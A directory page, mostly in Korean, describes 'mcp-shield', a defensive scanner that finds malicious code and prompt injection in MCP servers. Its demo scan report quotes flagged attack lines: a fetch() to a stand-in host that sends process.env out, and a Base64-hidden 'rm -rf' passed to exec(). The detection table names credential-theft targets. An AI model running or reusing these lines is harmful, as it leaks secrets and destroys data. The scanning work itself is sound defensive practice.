Skip to main content
Glama

mcp-shield

MCP 서버용 보안 스캐너 — AI에 도달하기 전에 백도어, 데이터 유출, 프롬프트 인젝션 및 공급망 위험을 탐지합니다.

MCP 생태계가 빠르게 성장하고 있습니다. npm의 모든 서버가 안전한 것은 아닙니다. mcp-shield를 사용하면 Claude가 로컬 또는 npm의 모든 MCP 서버를 감사하여 파일, 키 및 컨텍스트를 신뢰하기 전에 검사할 수 있습니다.


탐지 항목

카테고리

예시

데이터 유출

네트워크를 통한 process.env 전송, SSH 키 액세스, AWS 자격 증명 읽기

코드 실행

eval(), new Function(), child_process.exec(), 동적 require()

난독화

Base64 런타임 디코딩, 16진수 인코딩 페이로드, 문자 코드 배열

민감한 파일 액세스

.env, id_rsa, 브라우저 쿠키, ~/.gitconfig

프롬프트 인젝션

숨겨진 지침, 너비가 0인 문자, 역할 전환 공격, 탈옥 패턴

공급망

패키지 생성 기간, 다운로드 수, 관리자 수, 의존성 내 CVE


데모

You: Scan the npm package "some-sketchy-mcp-server" before I install it

Claude (using scan_package):
  ## mcp-shield scan: some-sketchy-mcp-server
  Verdict: DANGEROUS | Findings: 2 critical, 1 high

  ### Code Findings

  #### index.js
  - [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
    fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })

  - [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
    const cmd = Buffer.from("cm0gLXJm...", "base64").toString()

  - [HIGH]     [EXEC004] child_process exec/spawn — shell command execution (line 13)
    exec(cmd)

  ### Supply Chain
  | Published     | 2 days ago       |
  | Downloads/wk  | 3                |
  | Trust Score   | 15/100 — RISKY   |
  Flags:
  - Package published less than 7 days ago
  - Very low weekly downloads (<100)

도구

도구

기능

scan_package

npm MCP 패키지를 다운로드하고 악성 패턴을 스캔합니다

scan_directory

로컬 MCP 서버 디렉터리(GitHub에서 복제된 것 등)를 스캔합니다

check_prompt_injection

도구 설명이나 응답에서 숨겨진 인젝션을 확인합니다

audit_supply_chain

모든 npm 패키지에 대한 신뢰 점수, CVE, 관리자 수 및 생성 기간을 가져옵니다


설치

옵션 1 — npx (설치 불필요)

claude mcp add mcp-shield -- npx mcp-shield

옵션 2 — 전역 설치

npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield

옵션 3 — 수동 설정

~/.claude/claude_mcp_config.json에 추가:

{
  "mcpServers": {
    "mcp-shield": {
      "command": "npx",
      "args": ["mcp-shield"]
    }
  }
}

사용 예시

"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"

작동 원리

정적 분석 — 5개 카테고리에 걸쳐 20개 이상의 공격 서명을 포함하는 정규식 패턴 라이브러리로 JavaScript/TypeScript 소스 파일을 스캔합니다.

공급망 감사 — npm 레지스트리에서 패키지 메타데이터를 쿼리한 다음 npm audit을 실행하여 의존성 트리에 알려진 CVE를 노출합니다.

프롬프트 인젝션 탐지 — 도구 설명과 응답에서 너비가 0인 문자, 지침 재정의, 역할 전환 공격 및 기타 LLM 타겟팅 기술을 확인합니다.

--ignore-scripts 설치 — npm 패키지를 스캔할 때 --ignore-scripts 옵션으로 설치하여 분석 중에 악성 postinstall 후크가 실행되지 않도록 합니다.


기여

PR을 환영합니다. 탐지 패턴은 src/patterns.ts에 있으며, 새로운 서명을 추가하는 것은 간단한 객체 추가 작업입니다.

git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run dev

라이선스

MIT

Install Server
A
security – no known vulnerabilities
A
license - permissive license
A
quality - A tier

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/muhannad-hash/mcp-shield'

If you have feedback or need assistance with the MCP directory API, please join our Discord server